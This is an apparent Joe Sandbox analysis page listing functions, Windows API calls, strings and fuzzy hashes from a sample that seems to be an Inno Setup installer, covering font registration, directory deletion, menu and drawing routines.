Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
String ID: Deleting Uninstall data files.
API String ID: 1570157960-2568741658
Opcode ID: 6b1a562372018b3c04c21fd55addb09df91798402f7a20c98910ed9b47dc373c
Instruction ID: fc2dff9fd315349f2156f28d73b8ddc54b813d50684bf5e3b9d02ed62c94c615
Opcode Fuzzy Hash: 6b1a562372018b3c04c21fd55addb09df91798402f7a20c98910ed9b47dc373c
Instruction Fuzzy Hash: 0E218570344250AFEB10E7BAFDC2B2A3798DB14328F62443BF505961D2DA7CAC448A6D

Function 0047034C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00470449,?,?,?,?,00000000), ref: 004703B3
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00470449), ref: 004703CA
AddFontResourceA.GDI32(00000000), ref: 004703E7
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 004703FB

Strings

Failed to set value in Fonts registry key., xrefs: 004703BC
AddFontResource, xrefs: 00470405
Failed to open Fonts registry key., xrefs: 004703D1

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseFontMessageNotifyOpenResourceSendValue
String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
API String ID: 955540645-649663873
Opcode ID: 0e60b4dff13f95c41d2b7ddd60daa426212decfb7f4df4faf9448f3b0738515b
Instruction ID: 7e5676c94f998b7724f079aab18eb66bfb7253da6a81524f4a54bf1ce8fa652d
Opcode Fuzzy Hash: 0e60b4dff13f95c41d2b7ddd60daa426212decfb7f4df4faf9448f3b0738515b
Instruction Fuzzy Hash: B921B074741204BBD710EA669D42FAE67AC8B54708F608437BA04EB3C2DA7C9E05966D

Function 00462E30 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00416410: GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
Part of subcall function 00416410: UnregisterClassA.USER32(?,00400000), ref: 004164AB
Part of subcall function 00416410: RegisterClassA.USER32(?), ref: 004164CE

GetVersion.KERNEL32 ref: 00462E60
SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 00462E9E
SHGetFileInfo.SHELL32(00462F3C,00000000,?,00000160,00004011), ref: 00462EBB
LoadCursorA.USER32(00000000,00007F02), ref: 00462ED9
SetCursor.USER32(00000000,00000000,00007F02,00462F3C,00000000,?,00000160,00004011), ref: 00462EDF
SetCursor.USER32(?,00462F1F,00007F02,00462F3C,00000000,?,00000160,00004011), ref: 00462F12

Strings

Explorer, xrefs: 00462E7A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
String ID: Explorer
API String ID: 2594429197-512347832
Opcode ID: 271d5cc6534746d744017855cbe3809792a4a5bc456b5a0a77df68c724b1ffee
Instruction ID: b0f6820fd5a5ea072646c086af9eca81c98a3cd1ffd9b7ca0f87214cf94a4ba1
Opcode Fuzzy Hash: 271d5cc6534746d744017855cbe3809792a4a5bc456b5a0a77df68c724b1ffee
Instruction Fuzzy Hash: CD21E7307403047AEB15BB759D47B9A3798DB09708F4004BFFA05EA1C3EEBD9901966D

Function 004784C4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,021D2BCC,?,?,?,021D2BCC,00478688,00000000,004787A6,?,?,-00000010,?), ref: 004784DD
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004784E3
GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021D2BCC,?,?,?,021D2BCC,00478688,00000000,004787A6,?,?,-00000010,?), ref: 004784F6
CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,021D2BCC,?,?,?,021D2BCC), ref: 00478520
CloseHandle.KERNEL32(00000000,?,?,?,021D2BCC,00478688,00000000,004787A6,?,?,-00000010,?), ref: 0047853E

Strings

GetFinalPathNameByHandleA, xrefs: 004784D3
kernel32.dll, xrefs: 004784D8

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FileHandle$AddressAttributesCloseCreateModuleProc
String ID: GetFinalPathNameByHandleA$kernel32.dll
API String ID: 2704155762-2318956294
Opcode ID: d5ea4166fcaf8126fc80c765a532ee783e785b3a68d34ab88d5b8918896e85ee
Instruction ID: 059ef19278573a22ad79f3efb81f267758515d2cc5b9caaab61c4a46906d4c84
Opcode Fuzzy Hash: d5ea4166fcaf8126fc80c765a532ee783e785b3a68d34ab88d5b8918896e85ee
Instruction Fuzzy Hash: 500184607C07047AE521317F4C8ABBB654D8B50779F14853FBA1CFA2D2DDAD9D06025E

Function 00459E0C Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00459F8E,?,00000000,00000000,00000000,?,00000006,?,00000000,004979B1,?,00000000,00497A54), ref: 00459ED2

Part of subcall function 004543F4: FindClose.KERNEL32(000000FF,004544EA), ref: 004544D9

Strings

Stripped read-only attribute., xrefs: 00459E94
Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00459F47
Failed to delete directory (%d). Will retry later., xrefs: 00459EEB
Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00459EAC
Deleting directory: %s, xrefs: 00459E5B
Failed to strip read-only attribute., xrefs: 00459EA0
Failed to delete directory (%d)., xrefs: 00459F68

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseErrorFindLast
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 754982922-1448842058
Opcode ID: 80f7886d710564e036732f28763ec8210f816c25e7c1dc05d6f6c8754f6c9741
Instruction ID: b8d9b7298ea7c3337bda5d500217c07e27fbd6b384233f4239b27a523d6d10d0
Opcode Fuzzy Hash: 80f7886d710564e036732f28763ec8210f816c25e7c1dc05d6f6c8754f6c9741
Instruction Fuzzy Hash: 1841A331A04208CACB10EB69C8413AEB6A55F4530AF54897BAC01D73D3CB7C8E0DC75E

Function 00422E50 Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00422EA4
GetCapture.USER32 ref: 00422EB3
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422EB9
ReleaseCapture.USER32 ref: 00422EBE
GetActiveWindow.USER32 ref: 00422ECD
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422F4C
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422FB0
GetActiveWindow.USER32 ref: 00422FBF

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: c643ce2b5946eedbc9fc7e9e432b1ebed7a1b2002a4b485bdd2aba3560ad3673
Instruction ID: c6261992695b47722d84ffa44129b55dc5b2a4dad2f70b0012283783c1c7b094
Opcode Fuzzy Hash: c643ce2b5946eedbc9fc7e9e432b1ebed7a1b2002a4b485bdd2aba3560ad3673
Instruction Fuzzy Hash: 24417230B00245AFDB10EB69DA86B9E77F1EF44304F5540BAF404AB2A2D778AE40DB49

Function 0042F290 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 0042F2BA
GetWindowLongA.USER32(?,000000EC), ref: 0042F2D1
GetActiveWindow.USER32 ref: 0042F2DA
MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 0042F307
SetActiveWindow.USER32(?,0042F437,00000000,?), ref: 0042F328

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$ActiveLong$Message
String ID:
API String ID: 2785966331-0
Opcode ID: ffaa0164ef6debd839ee17ddcc6e3af86a32ff139a3091cd84ca3200376ed077
Instruction ID: ac844ef734d24c76dc9aa96f201b13a865b129e9c1b137beabd8cb6517960092
Opcode Fuzzy Hash: ffaa0164ef6debd839ee17ddcc6e3af86a32ff139a3091cd84ca3200376ed077
Instruction Fuzzy Hash: F931D271A00254AFEB01EFA5DD52E6EBBB8EB09304F9144BAF804E3291D73C9D10CB58

Function 00429480 Relevance: 12.1, APIs: 8, Instructions: 62COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042948A
GetTextMetricsA.GDI32(00000000), ref: 00429493

Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7

SelectObject.GDI32(00000000,00000000), ref: 004294A2
GetTextMetricsA.GDI32(00000000,?), ref: 004294AF
SelectObject.GDI32(00000000,00000000), ref: 004294B6
ReleaseDC.USER32(00000000,00000000), ref: 004294BE
GetSystemMetrics.USER32(00000006), ref: 004294E3
GetSystemMetrics.USER32(00000006), ref: 004294FD

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Metrics$ObjectSelectSystemText$CreateFontIndirectRelease
String ID:
API String ID: 1583807278-0
Opcode ID: 3849d669cc5c74c993e0a2aa2b3e18385fbd5df5d4012cb52b0f7167846bb92e
Instruction ID: 8a5b62ad3b2811282b00f4aa11bc4c2c065e9b9ae855548013837f5c18493421
Opcode Fuzzy Hash: 3849d669cc5c74c993e0a2aa2b3e18385fbd5df5d4012cb52b0f7167846bb92e
Instruction Fuzzy Hash: 0F01C4A17087103BE321767A9CC6F6F65C8DB44358F84043BF686D63D3D96C9C41866A

Function 0041DE24 Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0041DE27
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041DE31
ReleaseDC.USER32(00000000,00000000), ref: 0041DE3E
MulDiv.KERNEL32(00000008,00000060,00000048), ref: 0041DE4D
GetStockObject.GDI32(00000007), ref: 0041DE5B
GetStockObject.GDI32(00000005), ref: 0041DE67
GetStockObject.GDI32(0000000D), ref: 0041DE73
LoadIconA.USER32(00000000,00007F00), ref: 0041DE84

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ObjectStock$CapsDeviceIconLoadRelease
String ID:
API String ID: 225703358-0
Opcode ID: 93123cf7b7da28845296a778695a34f9ae7968dfa7e72d2685fd09fde09bf652
Instruction ID: 282f56568f1177e4dad385ec7f61a974d29090d827cf1f87eb40c920fa9ca7e8
Opcode Fuzzy Hash: 93123cf7b7da28845296a778695a34f9ae7968dfa7e72d2685fd09fde09bf652
Instruction Fuzzy Hash: 4C1142706457015EE340BFA66E52B6A36A4D725708F40413FF609AF3D1D77A2C448B9E

Function 00463240 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 00463344
SetCursor.USER32(00000000,00000000,00007F02,00000000,004633D9), ref: 0046334A
SetCursor.USER32(?,004633C1,00007F02,00000000,004633D9), ref: 004633B4

Strings

Internal error: Item already expanding, xrefs: 004632E1
, xrefs: 004635BF
, xrefs: 004635DA

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Cursor$Load
String ID: $ $Internal error: Item already expanding
API String ID: 1675784387-1948079669
Opcode ID: 040729a671edf880b94918ceea5f8eaec20fdfbf8da854279a56862745118dff
Instruction ID: e4e85f4aa3fa623d7d3a169fbc538aa22306e9421cedfdc69a3031d12d347dae
Opcode Fuzzy Hash: 040729a671edf880b94918ceea5f8eaec20fdfbf8da854279a56862745118dff
Instruction Fuzzy Hash: 4CB18270604284EFDB11DF29C545B9ABBF1BF04305F1484AAE8469B792DB78EE44CB4A

Function 00453D30 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 225COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17

Strings

NUL, xrefs: 00453ED9
[rename], xrefs: 00453E7A, 00453EB6
.tmp, xrefs: 00453DD3
MoveFileEx, xrefs: 00454027
WININIT.INI, xrefs: 00453DC5

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: 6524e2600f73056719b6f742776d46035d79f8a5ff73170b15895403f711d1ba
Instruction ID: 4c4b1d7f09994941c57eaafc4db68242d6a3f6c21ecd3f2b5b8f846a746055a2
Opcode Fuzzy Hash: 6524e2600f73056719b6f742776d46035d79f8a5ff73170b15895403f711d1ba
Instruction Fuzzy Hash: 40911434E002099BDB01EFA5D842BDEB7F5AF4874AF608466E90077392D7786E49CB58

Function 00476DA4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200windowCOMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(00000000,COMBOBOX,?), ref: 00476DFD
SetWindowLongW.USER32(00000000,000000FC,00476D58), ref: 00476E24
GetACP.KERNEL32(00000000,0047703C,?,00000000,00477066), ref: 00476E61
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00476EA7

Strings

COMBOBOX, xrefs: 00476DF6
Inno Setup: Language, xrefs: 00476F2F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ClassInfoLongMessageSendWindow
String ID: COMBOBOX$Inno Setup: Language
API String ID: 3391662889-4234151509
Opcode ID: b79c5f29d35df44cb857ed8d09d175a6c561ef16fea31c14755826af523c90a0
Instruction ID: 0412f7d462c55716b9fe1da93bb0ea7ea772e4a9a8c53c014367dccec02c53c9
Opcode Fuzzy Hash: b79c5f29d35df44cb857ed8d09d175a6c561ef16fea31c14755826af523c90a0
Instruction Fuzzy Hash: 25813C346006059FCB10DF69D985EAAB7F1FB09304F5581BAE808EB362D738AD45CB58

Function 00408720 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408968,?,?,?,?,00000000,00000000,00000000,?,0040996F,00000000,00409982), ref: 0040873A

Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586

Part of subcall function 004085B4: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004087B6,?,?,?,00000000,00408968), ref: 004085C7

Strings

:mm:ss, xrefs: 00408936
mmmm d, yyyy, xrefs: 0040882B
:mm, xrefs: 0040891C
m/d/yy, xrefs: 00408809
AMPM, xrefs: 00408905

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
Instruction ID: 5c6fde8006682913ecab3173e7335377554a92ac61a87523d81808753b4ec1a9
Opcode Fuzzy Hash: 99a58aab46255149f4b24f4520dbd6929c7443738739b227c4cc8c7d24f61a81
Instruction Fuzzy Hash: 7D516C24B00108ABDB01FBA69E4169EB7A9DB94308F50C07FA181BB3C3CE3DDA05975D

Function 004116F4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158windowCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004118F9), ref: 0041178C
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 0041184A

Part of subcall function 00411AAC: CreatePopupMenu.USER32 ref: 00411AC6

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 004118D6

Part of subcall function 00411AAC: CreateMenu.USER32 ref: 00411AD0

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 004118BD

Strings

?, xrefs: 004117A6
,, xrefs: 0041179F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: 0ab46ab0cc7fe058ed933c8385d76a728ca89a8f4439a32f590fae80f497a602
Instruction ID: ecf66c9774bccec907b621c371347452b74b7622051e058d8a4a73451c3e974f
Opcode Fuzzy Hash: 0ab46ab0cc7fe058ed933c8385d76a728ca89a8f4439a32f590fae80f497a602
Instruction Fuzzy Hash: D7510674A00245ABDB10EF6ADC816EA7BF9AF09304B11857BF904E73A6D738DD41CB58

Function 0041BE63 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BF28
GetObjectA.GDI32(?,00000018,?), ref: 0041BF37
GetBitmapBits.GDI32(?,?,?), ref: 0041BF88
GetBitmapBits.GDI32(?,?,?), ref: 0041BF96
DeleteObject.GDI32(?), ref: 0041BF9F
DeleteObject.GDI32(?), ref: 0041BFA8
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BFC5

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
Instruction ID: 74cae3b7aa7aab4ce12a2fbd062d204c5c4082198076ec6df892ad84fd278e80
Opcode Fuzzy Hash: dabea464bc85c36b4411cc83672e19ff5768c85fc4c65aec36842f1966395034
Instruction Fuzzy Hash: 6A510671A002199FCB10DFA9C9819EEB7F9EF48314B11416AF914E7395D738AD41CB68

Function 0041CED8 Relevance: 10.7, APIs: 7, Instructions: 152windowCOMMON

Download Yara Rule

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CEFE
GetDeviceCaps.GDI32(00000000,00000026), ref: 0041CF1D
SelectPalette.GDI32(?,?,00000001), ref: 0041CF83
RealizePalette.GDI32(?), ref: 0041CF92
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CFFC
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D03A
SelectPalette.GDI32(?,?,00000001), ref: 0041D05F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: PaletteStretch$Select$BitsCapsDeviceModeRealize
String ID:
API String ID: 2222416421-0
Opcode ID: 5be0e4e6833feb243a8d388dd1011de92277052336d3d318ec39d49e9b6efc72
Instruction ID: 4b814cf558339e083a7fb5ccd56fb4ffad9fd0a27a4bfdacf16c2dd2476febac
Opcode Fuzzy Hash: 5be0e4e6833feb243a8d388dd1011de92277052336d3d318ec39d49e9b6efc72
